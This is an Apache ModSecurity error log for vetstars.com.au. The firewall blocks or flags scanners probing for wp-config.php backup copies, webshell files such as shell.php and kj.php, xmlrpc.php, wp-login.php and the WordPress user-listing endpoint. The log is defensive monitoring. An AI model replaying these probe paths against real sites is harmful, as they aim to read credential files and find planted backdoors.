[Wed Apr 15 17:21:11.713070 2026] [:error] [pid 65412:tid 65416] [client 65.108.125.120:45720] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ad9Yh_EYT61VHfhVE5fz0QAAAYI"]
[Wed Apr 15 17:21:14.249524 2026] [:error] [pid 12396:tid 12416] [client 65.108.125.120:45734] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ad9YisCQWGYUWgxc5kgGfgAAAJI"]
[Wed Apr 15 17:21:16.778903 2026] [:error] [pid 11383:tid 11419] [client 65.108.125.120:45744] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ad9YjDOMRk2pAgm2-j7c9gAAABg"]
[Wed Apr 15 17:21:29.813417 2026] [:error] [pid 11475:tid 11491] [client 65.108.125.120:43080] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ad9YmZ7upE98bj816HPoggAAAU4"]
[Wed Apr 15 17:21:32.262439 2026] [:error] [pid 11475:tid 11492] [client 65.108.125.120:43084] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ad9YnJ7upE98bj816HPokQAAAU8"]
[Wed Apr 15 17:21:34.697840 2026] [:error] [pid 65412:tid 65420] [client 65.108.125.120:43100] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ad9YnvEYT61VHfhVE5fz3AAAAYY"]
[Wed Apr 15 17:21:37.323808 2026] [:error] [pid 65412:tid 65437] [client 65.108.125.120:43112] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ad9YofEYT61VHfhVE5fz4gAAAZc"]
[Wed Apr 15 17:21:39.866700 2026] [:error] [pid 11384:tid 11451] [client 65.108.125.120:27976] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ad9Yo3Ohpt4MrQIXF7ChnwAAAFg"]
[Wed Apr 15 17:21:42.475628 2026] [:error] [pid 11475:tid 11493] [client 65.108.125.120:27984] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "ad9Ypp7upE98bj816HPosgAAAVA"]
[Wed Apr 15 18:37:15.634135 2026] [:error] [pid 30958:tid 31038] [client 194.15.112.133:57834] [client 194.15.112.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.phpOLD"] [unique_id "ad9qW8eG3wSKTO7NWFGB4AAAANY"]
[Wed Apr 15 18:37:16.764433 2026] [:error] [pid 30957:tid 31013] [client 109.70.100.4:42174] [client 109.70.100.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.txt" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.txt"] [unique_id "ad9qXH5gwVEVXHfVSiplkAAAAFg"]
[Wed Apr 15 18:37:37.187037 2026] [:error] [pid 37370:tid 37379] [client 23.191.200.7:49184] [client 23.191.200.7] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.phpold"] [unique_id "ad9qcXg-gnM2Ga0cGADtkwAAAQc"]
[Wed Apr 15 18:37:48.892114 2026] [:error] [pid 31053:tid 31080] [client 38.135.24.245:52518] [client 38.135.24.245] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/wp-config.cfg"] [unique_id "ad9qfBcEkLCmvF0fjDebVQAAAJg"]
[Wed Apr 15 18:37:51.048964 2026] [:error] [pid 31053:tid 31064] [client 192.42.116.15:15249] [client 192.42.116.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php~~~"] [unique_id "ad9qfxcEkLCmvF0fjDebWgAAAIg"]
[Wed Apr 15 18:38:04.260230 2026] [:error] [pid 37370:tid 37374] [client 185.220.101.137:26481] [client 185.220.101.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.phpn"] [unique_id "ad9qjHg-gnM2Ga0cGADt1gAAAQI"]
[Wed Apr 15 18:38:07.162549 2026] [:error] [pid 37370:tid 37395] [client 185.220.101.11:14858] [client 185.220.101.11] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/wp-config-sample.php.bak"] [unique_id "ad9qj3g-gnM2Ga0cGADt3QAAARc"]
[Wed Apr 15 18:38:18.233532 2026] [:error] [pid 30956:tid 30974] [client 194.26.192.46:62638] [client 194.26.192.46] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php.backup"] [unique_id "ad9qmkBGUpjaWntNYq1YuwAAAA4"]
[Wed Apr 15 18:38:40.851664 2026] [:error] [pid 30957:tid 31003] [client 109.70.100.12:37158] [client 109.70.100.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.phpo"] [unique_id "ad9qsH5gwVEVXHfVSipmAQAAAE4"]
[Wed Apr 15 18:38:44.201608 2026] [:error] [pid 31053:tid 31070] [client 45.84.107.172:49909] [client 45.84.107.172] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php.uk"] [unique_id "ad9qtBcEkLCmvF0fjDebkwAAAI4"]
[Wed Apr 15 18:38:46.028401 2026] [:error] [pid 31053:tid 31073] [client 23.191.200.22:53634] [client 23.191.200.22] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php-o"] [unique_id "ad9qthcEkLCmvF0fjDeblwAAAJE"]
[Wed Apr 15 18:38:48.063262 2026] [:error] [pid 31053:tid 31067] [client 185.220.101.29:42200] [client 185.220.101.29] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/bb-config.php.bak"] [unique_id "ad9quBcEkLCmvF0fjDebnAAAAIs"]
[Wed Apr 15 18:38:51.513860 2026] [:error] [pid 30958:tid 31028] [client 45.84.107.97:32847] [client 45.84.107.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php.public"] [unique_id "ad9qu8eG3wSKTO7NWFGCYAAAAMw"]
[Wed Apr 15 18:38:56.592132 2026] [:error] [pid 31053:tid 31062] [client 185.129.61.3:64408] [client 185.129.61.3] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php.orig"] [unique_id "ad9qwBcEkLCmvF0fjDebqwAAAIY"]
[Wed Apr 15 20:04:40.935548 2026] [:error] [pid 31053:tid 31067] [client 181.119.66.210:33348] [client 181.119.66.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.119.66.210, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ad9-2BcEkLCmvF0fjDfB6QAAAIs"]
[Wed Apr 15 20:04:50.804004 2026] [:error] [pid 30958:tid 31022] [client 216.73.216.165:30722] [client 216.73.216.165] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||www.vetstars.com.au|F|5"] [data "REQUEST_HEADERS:User-Agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/robots.txt"] [unique_id "ad9-4seG3wSKTO7NWFGcJgAAAMY"]
[Wed Apr 15 20:04:56.389720 2026] [:error] [pid 30958:tid 31040] [client 216.73.216.165:60931] [client 216.73.216.165] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||www.vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/robots.txt"] [unique_id "ad9-6MeG3wSKTO7NWFGcLwAAANg"], referer: http://www.vetstars.com.au/robots.txt
[Wed Apr 15 20:05:02.515410 2026] [:error] [pid 31053:tid 31073] [client 216.73.216.165:64949] [client 216.73.216.165] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "ad9-7hcEkLCmvF0fjDfB_QAAAJE"], referer: https://www.vetstars.com.au/robots.txt
[Wed Apr 15 20:53:15.791481 2026] [:error] [pid 30958:tid 31019] [client 182.42.104.32:40010] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ad-KO8eG3wSKTO7NWFGq8wAAAMM"]
[Wed Apr 15 23:36:55.116088 2026] [:error] [pid 31053:tid 31075] [client 34.60.94.207:59965] [client 34.60.94.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.94.207, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ad-wlxcEkLCmvF0fjDdVsQAAAJM"]
[Wed Apr 15 23:36:57.854274 2026] [:error] [pid 31053:tid 31067] [client 34.60.94.207:59965] [client 34.60.94.207] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "ad-wmRcEkLCmvF0fjDdVwwAAAIs"]
[Wed Apr 15 23:37:00.022052 2026] [:error] [pid 31053:tid 31066] [client 34.60.94.207:59965] [client 34.60.94.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.94.207, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ad-wnBcEkLCmvF0fjDdVywAAAIo"]
[Wed Apr 15 23:45:05.151904 2026] [:error] [pid 31053:tid 31072] [client 216.73.216.165:18663] [client 216.73.216.165] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "ad-ygRcEkLCmvF0fjDdZaQAAAJA"]
[Thu Apr 16 00:05:54.861367 2026] [:error] [pid 30956:tid 30967] [client 168.63.72.46:26937] [client 168.63.72.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.63.72.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ad-3YkBGUpjaWntNYq2shQAAAAc"]
[Thu Apr 16 00:06:22.611020 2026] [:error] [pid 23913:tid 23930] [client 168.63.72.46:37529] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "ad-3flUaK3MLdSaLOyjshAAAAU8"]
[Thu Apr 16 00:06:25.315341 2026] [:error] [pid 31053:tid 31077] [client 168.63.72.46:30591] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "ad-3gRcEkLCmvF0fjDdmRQAAAJU"]
[Thu Apr 16 00:06:27.661288 2026] [:error] [pid 30958:tid 31031] [client 168.63.72.46:21454] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "ad-3g8eG3wSKTO7NWFH2XwAAAM8"]
[Thu Apr 16 00:06:29.854983 2026] [:error] [pid 31053:tid 31079] [client 168.63.72.46:56494] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "ad-3hRcEkLCmvF0fjDdmUgAAAJc"]
[Thu Apr 16 00:06:31.878630 2026] [:error] [pid 37370:tid 37377] [client 168.63.72.46:4895] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "ad-3h3g-gnM2Ga0cGACzvwAAAQU"]
[Thu Apr 16 00:06:34.819287 2026] [:error] [pid 30957:tid 30997] [client 168.63.72.46:18254] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "ad-3in5gwVEVXHfVSirLhwAAAEg"]
[Thu Apr 16 00:06:37.451491 2026] [:error] [pid 23913:tid 23916] [client 168.63.72.46:14877] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "ad-3jVUaK3MLdSaLOyjsogAAAUE"]
[Thu Apr 16 00:06:38.386525 2026] [:error] [pid 30956:tid 30979] [client 168.63.72.46:56487] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "ad-3jkBGUpjaWntNYq2sqAAAABM"]
[Thu Apr 16 00:06:39.404319 2026] [:error] [pid 30957:tid 31002] [client 168.63.72.46:22425] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "ad-3j35gwVEVXHfVSirLmgAAAE0"]
[Thu Apr 16 00:06:42.340821 2026] [:error] [pid 31053:tid 31060] [client 168.63.72.46:25890] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "ad-3khcEkLCmvF0fjDdmaAAAAIQ"]
[Thu Apr 16 00:06:44.575993 2026] [:error] [pid 23913:tid 23931] [client 168.63.72.46:17198] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "ad-3lFUaK3MLdSaLOyjssgAAAVA"]
[Thu Apr 16 00:06:47.577647 2026] [:error] [pid 31053:tid 31059] [client 168.63.72.46:18268] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "ad-3lxcEkLCmvF0fjDdmgQAAAIM"]
[Thu Apr 16 00:06:53.305089 2026] [:error] [pid 23913:tid 23926] [client 168.63.72.46:28425] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "ad-3nVUaK3MLdSaLOyjs0QAAAUs"]
[Thu Apr 16 00:06:57.978211 2026] [:error] [pid 23913:tid 23939] [client 168.63.72.46:4319] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "ad-3oVUaK3MLdSaLOyjs4wAAAVg"]
[Thu Apr 16 00:07:01.850407 2026] [:error] [pid 30957:tid 31000] [client 168.63.72.46:20070] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "ad-3pX5gwVEVXHfVSirLrwAAAEs"]
[Thu Apr 16 00:07:04.944986 2026] [:error] [pid 23913:tid 23915] [client 168.63.72.46:10800] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "ad-3qFUaK3MLdSaLOyjs9AAAAUA"]
[Thu Apr 16 00:07:07.592930 2026] [:error] [pid 23913:tid 23935] [client 168.63.72.46:9943] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "ad-3q1UaK3MLdSaLOyjs_gAAAVQ"]
[Thu Apr 16 00:07:09.680117 2026] [:error] [pid 23913:tid 23933] [client 168.63.72.46:28472] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "ad-3rVUaK3MLdSaLOyjtBgAAAVI"]
[Thu Apr 16 00:07:11.756360 2026] [:error] [pid 23913:tid 23918] [client 168.63.72.46:24717] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "ad-3r1UaK3MLdSaLOyjtEAAAAUM"]
[Thu Apr 16 00:07:14.511185 2026] [:error] [pid 31053:tid 31067] [client 168.63.72.46:14716] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "ad-3shcEkLCmvF0fjDdm6QAAAIs"]
[Thu Apr 16 00:08:19.849146 2026] [:error] [pid 37370:tid 37381] [client 168.63.72.46:56014] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "ad-383g-gnM2Ga0cGAC0kAAAAQk"]
